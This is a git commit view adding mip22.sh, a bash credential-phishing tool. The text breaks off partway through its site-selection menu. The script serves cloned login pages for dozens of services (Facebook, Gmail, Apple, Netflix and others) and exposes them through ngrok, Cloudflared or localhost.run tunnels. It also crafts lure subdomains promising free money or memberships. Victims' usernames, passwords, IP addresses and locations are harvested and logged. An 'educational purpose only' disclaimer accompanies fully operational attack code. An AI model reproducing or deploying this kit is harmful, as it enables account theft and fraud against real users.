mak пре 3 година
родитељ
комит
c98409ee53
3 измењених фајлова са 1581 додато и 0 уклоњено
  1. 1328 0
      mip22.sh
  2. 75 0
      packages.sh
  3. 178 0
      tunnels.sh

+ 1328 - 0
mip22.sh

@@ -0,0 +1,1328 @@
+#!/bin/bash
+
+
+#
+#  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+#  mip22 is a advanced phishing tool.
+#
+#  mip22 is free software: you can redistribute it and/or modify
+#  it under the terms of the GNU Affero General Public License as published by
+#  the Free Software Foundation, either version 3 of the License, or
+#  (at your option) any later version.
+#
+#  mip22 is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU Affero General Public License for more details.
+#
+#  You should have received a copy of the GNU Affero General Public License
+#  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+#
+
+
+#permissions
+
+chmod -R 777 packages.sh
+chmod -R 777 tunnels.sh
+chmod -R 777 data.txt
+chmod -R 777 fingerprints.txt
+chmod -R 777 .host
+chmod -R 777 .manual_attack
+chmod -R 777 .music
+chmod -R 777 .pages
+chmod -R 777 .tunnels_log
+chmod -R 777 .www
+
+
+
+#Install packages and tunnels
+
+check_os_and_install_packages() {
+	
+
+if [[ -f .host/ngrok && -f .host/cloudflared ]]; then
+
+{ clear; }	
+
+else
+
+{ clear; header; }
+
+OS_SYSTEM=$(uname -o)	
+if [ $OS_SYSTEM != Android ]; then
+     bash packages.sh
+     bash tunnels.sh
+
+else	
+ ./packages.sh
+ ./tunnels.sh
+ 	
+fi	
+
+fi
+	
+}
+
+
+# Check os for root
+
+check_root_and_os() {
+	
+OS_SYSTEM=$(uname -o)
+
+if [ $OS_SYSTEM != Android ]; then
+
+
+if [[ "${EUID:-$(id -u)}" -ne 0 ]]; then
+    { clear; header; }
+    echo -e "The program cannot run.\nFor run program in GNU/Linux Operating System,\nGive root privileges and try again. \n"
+    exit 1
+fi
+
+fi
+
+
+}
+
+
+
+# Terminal Colors
+
+RED="$(printf '\033[31m')"  
+GREEN="$(printf '\033[32m')"  
+ORANGE="$(printf '\033[33m')"  
+BLUE="$(printf '\033[34m')"
+MAGENTA="$(printf '\033[35m')"  
+CYAN="$(printf '\033[36m')"  
+WHITE="$(printf '\033[37m')" 
+BLACK="$(printf '\033[30m')"
+
+
+
+
+# Directories
+if [[ ! -d ".host" ]]; then
+	mkdir -p ".host"
+fi
+
+if [[ ! -d ".www" ]]; then
+	mkdir -p ".www"
+fi
+
+
+
+# Clear content of log files
+
+truncate -s 0 .tunnels_log/.cloudfl.log 
+
+truncate -s 0 .tunnels_log/.localrun.log 
+
+
+
+
+pid_kill() {
+	
+#kill all pid for php, ngrok and cloudflared
+	if [[ `pidof php` ]]; then
+		killall php > /dev/null 2>&1
+	fi
+	if [[ `pidof ngrok` ]]; then
+		killall ngrok > /dev/null 2>&1
+	fi
+	if [[ `pidof cloudflared` ]]; then
+		killall cloudflared > /dev/null 2>&1
+	fi
+
+}
+
+
+header(){
+	
+	figlet "Mip22" | lolcat
+
+    printf "${MAGENTA}"
+    figlet "Missions Impossibles"
+	
+	cat <<- EOF  
+	      
+        ${CYAN}Mip tool made for educational purpose only. 	${ORANGE}Version: 1.0
+        ${CYAN}The author is not responsible for any malicious use of the program.
+		${CYAN}        Mip Created by ${ORANGE}makdosx ${CYAN}(https://github.com/makdosx) ${WHITE}
+	
+
+	EOF
+	
+}
+
+
+
+
+
+# Php webserver and port 
+host='127.0.0.1'
+port='8080'
+
+
+setup_clone(){
+	
+    # Setup cloned page and server
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Setting up cloned page..."${WHITE}
+	rm -rf .www/*
+	cp -rf .pages/"$site"/* .www
+	echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Starting your php server..."${WHITE}
+	cd .www && php -S "$host":"$port" > /dev/null 2>&1 & 
+}
+
+
+
+setup_clone_manual() {
+
+   rm -rf .www/*
+   
+   cp -rf .manual_attack/index.html .www
+   cp -rf .manual_attack/post.php .www
+   cp -rf .manual_attack/data.txt .www
+   cp -rf .manual_attack/__ROOT__/index.php .www
+   cp -rf .manual_attack/__ROOT__/fingerprints.php .www	
+   
+   
+   rm -rf .manual_attack/index.html
+   rm -rf .manual_attack/post.php
+   rm -rf .manual_attack/data.txt
+   	
+   echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Starting your php server..."${WHITE}
+   cd .www && php -S "$host":"$port" > /dev/null 2>&1 & 	
+}
+
+
+
+## Get IP address
+get_fingerprints() {
+	IP=$(grep -a 'IP:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
+    Full_Date=$(grep -a 'Full-Date:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
+    Country=$(grep -a 'Country:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
+    Region=$(grep -a 'Region:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
+    City=$(grep -a 'City:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
+    User_Agent=$(grep -a 'User-Agent:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
+    OS_System=$(grep -a 'OS-System:.*' .www/fingerprints.txt | cut -d " " -f2 | tr -d '\r')
+	IFS=$'\n'	
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Victim Fingerprints.. "
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} IP: ${BLUE}$IP"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Full Date: ${BLUE}$Full_Date"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Country: ${BLUE}$Country"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Region: ${BLUE}$Region"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} City: ${BLUE}$City"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} User-Agent: ${BLUE}$User_Agent"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} OS System: ${BLUE}$OS_System"
+	echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${BLUE} Saved in : ${MAGENTA}fingerprints.txt"
+	cat .www/fingerprints.txt >> fingerprints.txt
+}
+
+
+# Get credentials from victims
+get_creds() {
+	ACC=$(grep -o 'Username:.*' .www/data.txt | cut -d " " -f2)
+	PASS=$(grep -o 'Password:.*' .www/data.txt | cut -d ":" -f2)
+	IFS=$'\n'
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Account : ${WHITE}$ACC"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Password : ${WHITE}$PASS"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Saved in : ${ORANGE}data.txt"
+	cat .www/data.txt >> data.txt
+	echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Next Fingerptints and Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "
+}
+
+
+
+
+# Get credentials from victims manual method
+get_creds_manual() {
+	ACC=$(tail -n 20 .www/data.txt)	
+	IFS=$'\n'
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Account : ${WHITE}$ACC"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Saved in : ${ORANGE}data.txt"
+	cat .www/data.txt >> data.txt
+	echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "
+}
+
+
+
+
+
+
+# Print credentials from victim
+credentials() {
+	
+   echo -ne "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Waiting for Victim fingerprints and Login Info.. ${BLUE}Ctrl + C ${MAGENTA}to exit..."
+	
+	while true; do
+	
+		if [[ -e ".www/fingerprints.txt" ]]; then
+			echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Fingerprints Victim Found!"
+			get_fingerprints
+			rm -rf .www/fingerprints.txt
+		fi
+		
+		sleep 0.75
+		
+		if [[ -e ".www/data.txt" ]]; then
+			echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Login info Found !"
+			get_creds
+			rm -rf .www/data.txt
+		fi
+		
+		sleep 0.75
+		
+	done
+}
+
+
+
+
+# Print credentials from victim manual
+credentials_manual() {
+	
+   while true; do	
+   
+       if [[ -e ".www/fingerprints.txt" ]]; then
+			echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Fingerprints Victim Found!"
+			get_fingerprints
+			rm -rf .www/fingerprints.txt
+		fi
+		
+		sleep 0.75
+   
+		if [[ -e ".www/data.txt" ]]; then
+			echo -e "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Login info Found !"
+			get_creds_manual
+			rm -rf .www/data.txt
+		fi
+		
+		sleep 0.75
+		
+	done
+}
+
+
+
+
+
+
+# Localhost Start
+localhost_start() {
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${GREEN}( ${CYAN}http://$host:$port ${GREEN})"
+	setup_clone
+	{ sleep 1; clear; header; }
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Successfully Hosted in : ${GREEN}${CYAN}http://$host:$port ${GREEN}"
+	credentials
+}
+
+
+
+# Localhost Start
+localhost_start_manual() {
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${GREEN}( ${CYAN}http://$host:$port ${GREEN})"
+	setup_clone_manual
+	{ sleep 1; clear; header; }
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Successfully Hosted in : ${GREEN}${CYAN}http://$host:$port ${GREEN}"
+	credentials_manual
+}
+
+
+
+
+#ngrok token setup
+ngrok_setup_token() {
+	
+{ clear; header; echo; }
+
+	cat <<- EOF
+		${GREEN}[${WHITE}1${GREEN}]${CYAN} Ngrok Toekn
+		${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
+		
+		
+	EOF
+	
+	
+	read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
+
+	case $REPLY in 
+	    
+	    1) 
+	        echo "Please insert yout ngrok authtoken (only key):"
+	        read authtoken
+	        
+	         if [[ `command -v termux-chroot` ]]; then
+              termux-chroot ./.host/ngrok authtoken $authtoken 
+              sleep 2 && menu
+              
+             else
+                ./.host/ngrok authtoken $authtoken 
+                sleep 2 && menu
+             fi ;;	 			
+	    
+	    
+	    99) menu;;
+		
+		
+	    *)
+			echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
+			{ sleep 0.7; ngrok_setup_token;};;
+	  
+	esac
+
+
+}
+
+
+
+
+
+
+apis() {
+ 
+ { clear; header; echo; }
+
+    cat <<- EOF
+		${GREEN}[${WHITE}1${GREEN}]${CYAN} Ngrok
+		${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
+		
+		
+	EOF
+	
+	read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
+
+	case $REPLY in 
+	    
+        1) ngrok_setup_token;; 
+	      			
+	    99) menu;;
+		
+	    *)
+		    echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Api, Try Again..."
+			{ sleep 0.7; apis;};;
+	  
+	esac
+	
+}	
+
+
+
+
+
+
+# Start ngrok
+ngrok_start() {
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
+	{ sleep 1; setup_clone; }
+	echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Ngrok..."
+
+    if [[ `command -v termux-chroot` ]]; then
+        sleep 2 && termux-chroot ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
+    else
+        sleep 2 && ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
+    fi
+
+	{ sleep 9; clear; header; }
+	ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
+	ngrok_url1=${ngrok_url#https://}
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$ngrok_url1"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$ngrok_url"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$ngrok_url1"
+	credentials
+}
+
+
+
+
+
+
+# Start ngrok
+ngrok_start_manual() {
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
+	{ sleep 1; setup_clone_manual; }
+	echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Ngrok..."
+
+    if [[ `command -v termux-chroot` ]]; then
+        sleep 2 && termux-chroot ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
+    else
+        sleep 2 && ./.host/ngrok http "$host":"$port" > /dev/null 2>&1 &
+    fi
+
+	{ sleep 9; clear; header; }
+	ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
+	ngrok_url1=${ngrok_url#https://}
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$ngrok_url1"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$ngrok_url"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$ngrok_url1"
+	credentials_manual
+}
+
+
+
+
+
+# Start Cloudflared
+# 
+cloudflared_start() { 
+	
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${GREEN})"
+	{ sleep 1; setup_clone; }
+	echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGETNA} Launching Cloudflared..."
+
+    if [[ `command -v termux-chroot` ]]; then
+		sleep 2 && termux-chroot ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log  2>&1 & > /dev/null 2>&1 &
+    else
+        sleep 2 && ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log  2>&1 & > /dev/null 2>&1 &
+    fi
+
+	{ sleep 9; clear; header; }
+	
+	cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".tunnels_log/.cloudfl.log")
+	cldflr_url1=${cldflr_url#https://}
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$cldflr_url1"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$cldflr_url"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$cldflr_url1"
+	credentials
+}
+
+
+
+
+
+# Start Cloudflared
+# 
+cloudflared_start_manual() { 
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${GREEN})"
+	{ sleep 1; setup_clone_manual; }
+	echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching Cloudflared..."
+
+    if [[ `command -v termux-chroot` ]]; then
+		sleep 2 && termux-chroot ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log  2>&1 & > /dev/null 2>&1 &
+    else
+        sleep 2 && ./.host/cloudflared tunnel -url "$host":"$port" > .tunnels_log/.cloudfl.log  2>&1 & > /dev/null 2>&1 &
+    fi
+
+	{ sleep 9; clear; header; }
+	
+	cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".tunnels_log/.cloudfl.log")
+	cldflr_url1=${cldflr_url#https://}
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$cldflr_url1"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http(s) : ${GREEN}$cldflr_url"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$cldflr_url1"
+	credentials_manual
+}
+
+
+
+
+
+
+# Start localrun
+localhostrun_start() {
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
+	{ sleep 1; setup_clone; }
+	echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching LocalhostRun..."
+
+    if [[ `command -v termux-chroot` ]]; then
+        sleep 2 && termux-chroot ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log  2>&1 & > /dev/null 2>&1 &
+    else
+        sleep 2 && ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log  2>&1 & > /dev/null 2>&1 &
+    fi
+
+	{ sleep 9; clear; header; }
+	localrun_url=$(grep -o 'https://[-0-9a-z]*\.lhrtunnel.link' ".tunnels_log/.localrun.log")
+	localrun_url1=${localrun_url#https://}
+    echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$localrun_url1"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL https(s) : ${GREEN}$localrun_url"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$localrun_url1"
+	credentials
+}
+
+
+
+
+# Start localrun
+localhostrun_start_manual() {
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Initializing... ${MAGENTA}( ${CYAN}http://$host:$port ${MAGENTA})"
+	{ sleep 1; setup_clone_manual; }
+	echo -ne "\n\n${GREEN}[${WHITE}-${GREEN}]${MAGENTA} Launching LocalhostRun..."
+
+    if [[ `command -v termux-chroot` ]]; then
+        sleep 2 && termux-chroot ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log  2>&1 & > /dev/null 2>&1 &
+    else
+        sleep 2 && ssh -R "80":"$host":"$port" "nokey@localhost.run" > .tunnels_log/.localrun.log  2>&1 & > /dev/null 2>&1 &
+    fi
+
+	{ sleep 9; clear; header; }
+	localrun_url=$(grep -o 'https://[-0-9a-z]*\.lhrtunnel.link' ".tunnels_log/.localrun.log")
+	localrun_url1=${localrun_url#https://}
+    echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL http : ${GREEN}http://$localrun_url1"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL https(s) : ${GREEN}$localrun_url"
+	echo -e "\n${GREEN}[${WHITE}-${GREEN}]${WHITE} URL subdomain : ${GREEN}$subdomain@$localrun_url1"
+	credentials_manual
+}
+
+
+
+
+
+
+# Select Tunnel  
+tunnel() {
+	{ clear; header; }
+	cat <<- EOF
+
+		${GREEN}[${WHITE}1${GREEN}]${CYAN} Localhost ${MAGENTA} (for practise only)
+		${GREEN}[${WHITE}2${GREEN}]${CYAN} LocalhostRun ${MAGENTA} (alternative)  
+		${GREEN}[${WHITE}3${GREEN}]${CYAN} Cloudflared ${MAGENTA} (recommended)
+		${GREEN}[${WHITE}4${GREEN}]${CYAN} Ngrok ${MAGENTA} (first install token from menu)
+
+	EOF
+
+	read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select a port forwarding service : ${WHITE}"
+
+	case $REPLY in 
+		   1)
+		    localhost_start;;
+		    
+		   2)
+		    localhostrun_start;; 
+			
+		   3)
+			cloudflared_start;;
+			
+		   4)
+			ngrok_start;;
+		   	
+			
+		  *)
+			echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
+			{ sleep 1; header; tunnel;};;
+	esac
+
+}
+
+
+
+
+
+start_manual_method() {
+ 
+ cd .manual_attack && php -S "127.0.0.1:8081" > /dev/null 2>&1 & 
+     echo -e "\n${GREEN}[${WHITE}-${GREEN}] ${GREEN} Visit ${WHITE} http://127.0.0.1:8081 ${GREEN} for setup clone page "${WHITE}
+	 echo -e "\n${GREEN}[${WHITE}-${GREEN}] ${GREEN} After setup clone page return to here and continue... "${WHITE}
+
+}
+
+
+# Select Tunnel  
+tunnel_manual() {
+	{ clear; header; }
+	 
+	
+	 start_manual_method
+	
+	cat <<- EOF
+
+		${GREEN}[${WHITE}1${GREEN}]${CYAN} Localhost ${MAGENTA} (for practise only)
+		${GREEN}[${WHITE}2${GREEN}]${CYAN} LocalhostRun ${MAGENTA} (alternative)  
+		${GREEN}[${WHITE}3${GREEN}]${CYAN} Cloudflared ${MAGENTA} (recommended)
+		${GREEN}[${WHITE}4${GREEN}]${CYAN} Ngrok ${MAGENTA} (first install token from menu)    
+
+	EOF
+
+	read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select a port forwarding service : ${WHITE}"
+
+	case $REPLY in 
+		   1)
+		    localhost_start_manual;;
+		    
+		   2)
+		    localhostrun_start_manual;; 
+			
+		   3)
+			cloudflared_start_manual;;
+			
+		   4)
+			ngrok_start_manual;;
+					   	
+			
+		  *)
+			echo -ne "\n${GREEN}[${WHITE}!${GREEN}]${RED} Invalid Option, Try Again..."
+			{ sleep 1; header; tunnel;};;
+	esac
+
+}
+
+
+
+
+
+
+vpn_setup() {
+
+	
+{ clear; header; echo; }
+
+	cat <<- EOF
+		${GREEN}[${WHITE}1${GREEN}]${CYAN} Psiphon Vpn  
+		${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
+		
+	    
+	EOF
+	
+	
+	read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Api : ${WHITE}"${WHITE}
+
+	case $REPLY in 
+	    
+	    1) 
+	        
+	         if [[ `command -v termux-chroot` ]]; then
+                  echo "https://play.google.com/store/apps/details?id=com.psiphon3.subscription" 
+              sleep 4 && menu
+              
+             else
+                 echo "https://play.google.com/store/apps/details?id=com.psiphon3.subscription"
+                 #echo 'Not Supported. Setup your vpn manual'
+                sleep 4 && menu
+             fi ;;	 			
+	    
+	    
+	    99) menu;;
+		
+		
+	    *)
+			echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
+			{ sleep 0.7; ngrok_setup_token;};;
+	  
+	esac
+
+
+
+
+}
+
+
+
+
+
+play_music() {
+	
+	{ clear; header; }	
+	
+	cat <<- EOF
+		${GREEN}[${WHITE}1${GREEN}]${CYAN} Play Music  
+		${GREEN}[${WHITE}2${GREEN}]${CYAN} Stop Music
+		${GREEN}[${WHITE}99${GREEN}]${CYAN} Main Menu
+		
+		${MAGENTA} If you select this option which is the background music then you may 
+		${MAGENTA} not see the attacker's details directly in the terminal. 
+        ${MAGENTA} If you not seen the data pause the music and restart the program again.
+        
+        ${MAGENTA} However, they have been saved in the data txt file. 
+		
+		
+	EOF
+	
+	
+	read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select Option : ${WHITE}"${WHITE}
+
+	case $REPLY in 
+	    
+	    1) 
+           xterm -e nohup mpv .music/mis_song.mp3 > /dev/null 2>&1
+           menu;;
+           
+	     	    
+	    2) 
+	       pidof mpv && killall mpv > /dev/null 2>&1 
+	       menu;;
+		
+	    99)
+		    menu;;
+		
+	    *)
+			echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...";;
+			
+	esac
+	
+	
+
+
+}
+
+
+
+
+
+attack() {
+ 
+ { clear; header; echo; }
+
+	cat <<- EOF
+		${GREEN}[${WHITE}1${GREEN}]${CYAN} Adobe                 ${GREEN}[${WHITE}25${GREEN}]${CYAN} Line           ${GREEN}[${WHITE}48${GREEN}]${CYAN} Socialclub                                        
+		${GREEN}[${WHITE}2${GREEN}]${CYAN} Amazon                ${GREEN}[${WHITE}26${GREEN}]${CYAN} LinkedIn       ${GREEN}[${WHITE}49${GREEN}]${CYAN} Spotify                                                          
+		${GREEN}[${WHITE}3${GREEN}]${CYAN} Apple                 ${GREEN}[${WHITE}27${GREEN}]${CYAN} Livejournal    ${GREEN}[${WHITE}50${GREEN}]${CYAN} Stackoverflow                                                         
+		${GREEN}[${WHITE}4${GREEN}]${CYAN} Baddo                 ${GREEN}[${WHITE}28${GREEN}]${CYAN} Mediafire      ${GREEN}[${WHITE}51${GREEN}]${CYAN} Steam                                                    
+		${GREEN}[${WHITE}5${GREEN}]${CYAN} Care2                 ${GREEN}[${WHITE}29${GREEN}]${CYAN} MeWe           ${GREEN}[${WHITE}52${GREEN}]${CYAN} Tagged                                      
+		${GREEN}[${WHITE}6${GREEN}]${CYAN} Clashofclans          ${GREEN}[${WHITE}30${GREEN}]${CYAN} Microsoft      ${GREEN}[${WHITE}53${GREEN}]${CYAN} Telegram                           
+		${GREEN}[${WHITE}7${GREEN}]${CYAN} Crunchyroll           ${GREEN}[${WHITE}31${GREEN}]${CYAN} Mocospace      ${GREEN}[${WHITE}54${GREEN}]${CYAN} Tiktok                    
+		${GREEN}[${WHITE}8${GREEN}]${CYAN} Deviantart            ${GREEN}[${WHITE}32${GREEN}]${CYAN} Myspace        ${GREEN}[${WHITE}55${GREEN}]${CYAN} Tiktok Followers              
+		${GREEN}[${WHITE}9${GREEN}]${CYAN} Discord               ${GREEN}[${WHITE}33${GREEN}]${CYAN} Netflix        ${GREEN}[${WHITE}56${GREEN}]${CYAN} Tumblr               
+		${GREEN}[${WHITE}10${GREEN}]${CYAN} Dota2                ${GREEN}[${WHITE}34${GREEN}]${CYAN} Origin         ${GREEN}[${WHITE}57${GREEN}]${CYAN} Twitch                     
+		${GREEN}[${WHITE}11${GREEN}]${CYAN} Dropbox              ${GREEN}[${WHITE}35${GREEN}]${CYAN} Outlook        ${GREEN}[${WHITE}58${GREEN}]${CYAN} Twitter           
+		${GREEN}[${WHITE}12${GREEN}]${CYAN} Ebay                 ${GREEN}[${WHITE}36${GREEN}]${CYAN} Pinterest      ${GREEN}[${WHITE}59${GREEN}]${CYAN} Viber Out                     
+		${GREEN}[${WHITE}13${GREEN}]${CYAN} Facebook             ${GREEN}[${WHITE}37${GREEN}]${CYAN} Playstation    ${GREEN}[${WHITE}60${GREEN}]${CYAN} Vimeo                        
+		${GREEN}[${WHITE}14${GREEN}]${CYAN} Facebook Messenger   ${GREEN}[${WHITE}38${GREEN}]${CYAN} Protonmail     ${GREEN}[${WHITE}61${GREEN}]${CYAN} Vk                     
+		${GREEN}[${WHITE}15${GREEN}]${CYAN} Facebook Security    ${GREEN}[${WHITE}49${GREEN}]${CYAN} Pubg           ${GREEN}[${WHITE}62${GREEN}]${CYAN} Whatsapp                    
+		${GREEN}[${WHITE}16${GREEN}]${CYAN} Gmail                ${GREEN}[${WHITE}40${GREEN}]${CYAN} Quora          ${GREEN}[${WHITE}63${GREEN}]${CYAN} Wordpress       
+		${GREEN}[${WHITE}17${GREEN}]${CYAN} Goodreads            ${GREEN}[${WHITE}41${GREEN}]${CYAN} Reverly        ${GREEN}[${WHITE}64${GREEN}]${CYAN} Xanga     
+		${GREEN}[${WHITE}18${GREEN}]${CYAN} Hotstar              ${GREEN}[${WHITE}42${GREEN}]${CYAN} Reddit         ${GREEN}[${WHITE}65${GREEN}]${CYAN} Xbox                                               
+		${GREEN}[${WHITE}19${GREEN}]${CYAN} Icloud               ${GREEN}[${WHITE}43${GREEN}]${CYAN} Reverbnation   ${GREEN}[${WHITE}66${GREEN}]${CYAN} Xing                                                     
+		${GREEN}[${WHITE}20${GREEN}]${CYAN} Influenster          ${GREEN}[${WHITE}44${GREEN}]${CYAN} Signal         ${GREEN}[${WHITE}67${GREEN}]${CYAN} Yahoo
+		${GREEN}[${WHITE}21${GREEN}]${CYAN} Instagram            ${GREEN}[${WHITE}45${GREEN}]${CYAN} Skype          ${GREEN}[${WHITE}68${GREEN}]${CYAN} Yandex
+		${GREEN}[${WHITE}22${GREEN}]${CYAN} Insta Followers      ${GREEN}[${WHITE}46${GREEN}]${CYAN} Skyrock        ${GREEN}[${WHITE}69${GREEN}]${CYAN} Youtube SUbs
+		${GREEN}[${WHITE}23${GREEN}]${CYAN} Insta Followers 2    ${GREEN}[${WHITE}47${GREEN}]${CYAN} Snapchat       ${GREEN}[${WHITE}99${GREEN}]${MAGENTA} Main Menu
+		${GREEN}[${WHITE}24${GREEN}]${CYAN} Instagram Verify
+		
+		
+	EOF
+	
+	
+	read -p "${GREEN}[${WHITE}-${GREEN}]${GREEN} Select an option : ${WHITE}"${WHITE}
+
+	case $REPLY in 
+	
+	    1)
+			site="adobe"
+			subdomain='http://adobe-pro-membership-lifetime-for-you'
+			tunnel;;
+			
+			
+	    2)
+			site="amazon"
+			subdomain='http://amazon-pro-membership-lifetime-for-you'
+			tunnel;;
+				
+				
+	    3)
+			site="apple"
+			subdomain='http://apple-security-account-login'
+			tunnel;;				
+			
+			
+        4)
+			site="badoo"
+			subdomain='http://get-2000-euro-free-for-your-acount'
+			tunnel;;
+			
+			
+		5)
+			site="care2"
+			subdomain='http://get-2000-tokens-free-for-your-acount'
+			tunnel;;	
+			
+			
+	    6)
+			site="clashofclans"
+			subdomain='http://get-free-character-for-clashofclans-game'
+			tunnel;;	
+	 		
+	 		
+	    7)
+			site="crunchyroll"
+			subdomain='http://get-free-character-for-crunchyroll-game'
+			tunnel;;
+		
+		
